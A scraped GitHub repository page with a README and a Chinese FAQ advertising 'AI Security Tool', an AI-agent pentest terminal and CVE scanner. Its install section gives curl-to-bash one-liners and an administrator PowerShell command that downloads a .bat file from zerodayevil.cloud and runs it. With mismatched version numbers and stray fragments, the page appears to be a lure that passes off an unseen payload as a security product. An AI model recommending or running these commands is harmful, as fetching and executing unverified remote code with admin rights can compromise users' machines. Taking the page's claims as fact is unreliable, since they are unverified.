ai-security-tool README

The project's README from github.com/ZeroDayEvil/ai-security-tool. As one markdown file: README.md.

AI Security Tool
Cross-Platform AI-Native Terminal & Supply Chain Scanner

Next-Gen AI Security Ecosystem, Multi-Protocol Terminal & Autonomous Agent Suite


Latest Release Build Status Donations Telegram Channel License

🌐 Web Demo • 📚 Project Website • 💬 Community Chat

Website Navigation: Home • Updates • Downloads • Modules

AI Security Tool Banner


🧠 Conceptual Overview

AI Security Tool is an open-source, cross-platform ecosystem designed at the intersection of traditional system administration and modern cybersecurity. It combines a multi-protocol connectivity suite (SSH, RDP, VNC), deep Supply Chain Security analysis (CVE & SBOM auditing), and an autonomous ecosystem powered by 12+ AI Agents.

The tool eliminates the need to switch between dozens of utilities during security audits, Red Team operations, penetration testing, or CTF challenges. Available both as a desktop application (Linux, macOS, Windows, Android, iOS, HarmonyOS) and a fully featured Web Interface.

🎯 Core Philosophy

"Bridge the gap between execution, intelligence, and supply chain audit."
We built AI Security Tool to replace tedious manual workflows with a unified AI-Native platform that automatically correlates vulnerability contexts, tunes parameters, and automates auditing pipelines.


Steel Demo

🔍 Security Audit Modules & PoC Repositories

A curated collection of vulnerability scanners, PoC exploits, and technical research maintained by our community:

🔥 Remote Code Execution (RCE) & Network Vulns 12 modules
🛡️ Privilege Escalation (EoP) & Services 6 modules
📚 Vulnerability Research & Writeups 2 modules

💻 Multi-Protocol Terminal & Client

⚡ Advanced Capabilities


🤖 Specialized AI-Agents Suite

Dedicated autonomous agents integrated into the system for automating complex audit scenarios:

Agent Purpose Task Category
IntelligentDecisionEngine Automated tool selection and contextual parameter tuning 🧠 Core Logic
BugBountyWorkflowManager Workflow management for reconnaissance and vulnerability discovery 🎯 Pentest / Recon
CTFWorkflowManager Automation and support for solving CTF challenges 🚩 CTF Automation
CVEIntelligenceManager Deep vulnerability research and Threat Intelligence gathering 🔍 Threat Intel
VulnerabilityCorrelator Identification and construction of complex multi-stage Attack Chains 🔗 Correlation
TechnologyDetector Full tech stack identification and service fingerprinting 🌐 Fingerprinting
RateLimitDetector Detection and automated evasion of rate-limiting mechanisms ⚡ Bypass & Evasion
FailureRecoverySystem Automated error handling and tool recovery pipeline 🛡 System Resilience
PerformanceMonitor Resource monitoring and system load optimization 📊 Resource Control
ParameterOptimizer Context-aware parameter tuning for fuzzing and scanning tools ⚙️ Fuzzing Tuning
GracefulDegradation Ensures fault tolerance during external service downtime 🔄 Fault Tolerance

📊 Security Scanning & SBOM Workflow

graph TD
    A[Target Project / Assets] --> B{Aggregated CVE DB Engine}
    B -->|Daily Sync| C[NVD / OSV / GAD / RedHat]
    A --> D[Binary & Dependency Analyzers]
    D --> E[Generate / Parse SBOM Standard]
    E --> F{Vulnerability Correlator}
    C --> F
    F --> G[Enrich Context & Remediation Data]
    G --> H[Export Reports: Console / JSON / CSV / HTML / PDF]
  

🚀 Quick Start & Installation

📦 Ready-to-Use Builds

OS / Platform Version Architecture / Format Release Date Status Download Link
🪟 Windows v6.3.27 x64 Installer (.exe) 2026-09-08 🟢 Latest Download .exe
🪟 Windows v6.3.20 x64 Portable (.tar.gz) 2026-09-08 🟢 Latest Download .tar.gz
🍏 macOS v5.3.29 Apple Silicon M1/M2/M3 (.dmg) 2026-09-05 🟢 Stable Download .dmg
🐧 Linux v5.3.27 Universal x64 (.tar.gz) 2026-09-01 🟢 Stable Download .tar.gz
🤖 Android v8a 5.3.27 ARM64 APK (.apk) 2026-09-01 🟢 Stable Download .apk

🧪 One-Line Installation Scripts

Fast deployment via command-line installation scripts:

Linux / macOS:

curl -o- https://raw.githubusercontent.com/ZeroDayEvil/ai-security-tool/main/scripts/one-line-web.sh | bash
# or using wget:
wget -qO- https://raw.githubusercontent.com/ZeroDayEvil/ai-security-tool/main/scripts/one-line-web.sh | bash

Windows PowerShell (Run as administrator):

iwr "https://zerodayevil.cloud/one-line-web.bat" -OutFile "$env:USERPROFILE\Desktop\one-line-web.bat"
cmd /c "%USERPROFILE%\Desktop\one-line-web.bat"

The script installs Go, Python, and Node.js, extracts the archive. No extra commands are required.

One-liner

iwr "https://zerodayevil.cloud/one-line-web.bat" -OutFile "$env:USERPROFILE\Desktop\one-line-web.bat"; cmd /c "%USERPROFILE%\Desktop\one-line-web.bat"

or via script: ./build/bin/run-prod.sh

Once started, open your browser at: http://127.0.0.1:5577

🌐 Server Deployment & Configuration

When hosting on external or public networks, configure environment variables in your .env file:

ENABLE_AUTH=1                   # Enable password authentication
DISABLE_LOCAL_TERMINAL=1        # Disable direct access to local server terminal
SERVER_SECRET=your_server_secret_key
SERVER_PASS=your_strong_password

Start service:

./run-ai-security-tool-web.sh

Example configurations for Nginx and SSL are provided in examples/nginx.conf.


⚖️ License & Legal Disclaimer

🚨 Security & Compliance Notice

IMPORTANT: This tool grants AI Agents capability to execute system commands.
• Action Control: Always monitor AI Agent activities via the real-time dashboard.
• Least Privilege: Execute the application strictly with the minimum necessary system permissions.
• Network Security: Always enable authentication (ENABLE_AUTH=1) and disable local terminal access (DISABLE_LOCAL_TERMINAL=1) when exposing the Web interface externally.
Running this tool against unauthorized systems is illegal. The developers assume no liability for misuse or system damage.


🔄 Contribution & Community

We welcome contributions from the cybersecurity community! Key contribution areas:

  1. AI Integrations: Adding new LLM providers and developing specialized security agents.
  2. Security Tools: Integrating third-party CLI scanners and custom parsers.
  3. Optimization: Improving parser speed, caching logic, and resource consumption.
  4. Documentation: Writing guides, research papers, and localized translations.

🔗 Contact & Support


AI Security Tool — Reimagining terminal workflow and automation for cybersecurity professionals.

ai-security-tool (ZeroDayEvil/ai-security-tool)

Searching Database…

这是什么?AI Security Tool 是一个开源的跨平台终端和漏洞扫描工具,集成了多协议连接客户端(SSH、RDP、VNC 等)、CVE/SBOM 供应链审计,以及 12 个以上自主运行的 AI 智能体(DeepSeek、OpenAI),可以自动化完成渗透测试、红队和 CTF 相关的工作流程。
它是桌面应用、命令行工具,还是网页服务?两者都是:它既有面向 Linux、macOS、Windows、Android、iOS 和 HarmonyOS 的桌面应用,也有功能完整的 Web 界面,还可以自己部署在服务器上。
我怎么把它跑起来?直接下载适合你系统的现成版本(Windows 安装包/便携版、macOS dmg、Linux tar.gz、Android apk),或者在 Linux/macOS/Windows PowerShell 上运行一行安装脚本,脚本会自动安装依赖并解压文件;如果要部署网页版,运行 run-ai-security-tool-web.sh 即可。
使用 AI 智能体需要 OpenAI 或 DeepSeek 的 API 密钥吗?需要。大模型集成和自主智能体依托 DeepSeek、OpenAI 或自定义 API 这类服务商,所以你必须有其中一家的 API 密钥/凭据才能使用 AI 功能。
把网页界面暴露出去时要注意什么?因为 AI 智能体可以在你的电脑上执行系统命令,README 提醒在把 Web 界面对外公开之前,一定要开启身份验证(ENABLEAUTH=1)并禁用本地终端访问(DISABLELOCALTERMINAL=1),同时尽量以最小权限运行。
这个工具是给谁用的?它面向网络安全专业人士,适合做红队行动、渗透测试、漏洞赏金挖掘、CTF 竞赛,以及 DevSecOps 供应链审计的人。
多协议终端支持哪些协议?它支持 SSH、SFTP、Telnet、串口、RDP、VNC、SPICE 和 FTP,还提供 SSH 隧道、通过 SFTP 远程编辑文件、多会话命令广播等功能。
这些 AI 智能体具体能做什么?像 BugBountyWorkflowManager、CTFWorkflowManager、CVEIntelligenceManager、VulnerabilityCorrelator 这样的智能体可以自动完成信息收集流程管理、CTF 解题辅助、威胁情报收集、多阶段攻击链关联分析、绕过速率限制等工作。
漏洞数据是从哪里来的?SBOM/CVE 工作流每天从 NVD、OSV、GAD 和 RedHat 数据库汇总同步数据,并与解析出的 SBOM 进行关联,生成可导出为 Console、JSON、CSV、HTML 或 PDF 格式的报告。
终端的外观和工作流程可以自定义吗?可以——它支持窗口透明、自定义主题和背景图片,可以通过全局快捷键(默认 Ctrl+2)调出 Guake 风格的弹出式终端,还能通过 GitHub Gist 或 Gitee Snippets 同步书签、主题和快捷命令。
Size
26.9 MB
Stars
906
Age
1mo
Commits · 90 Days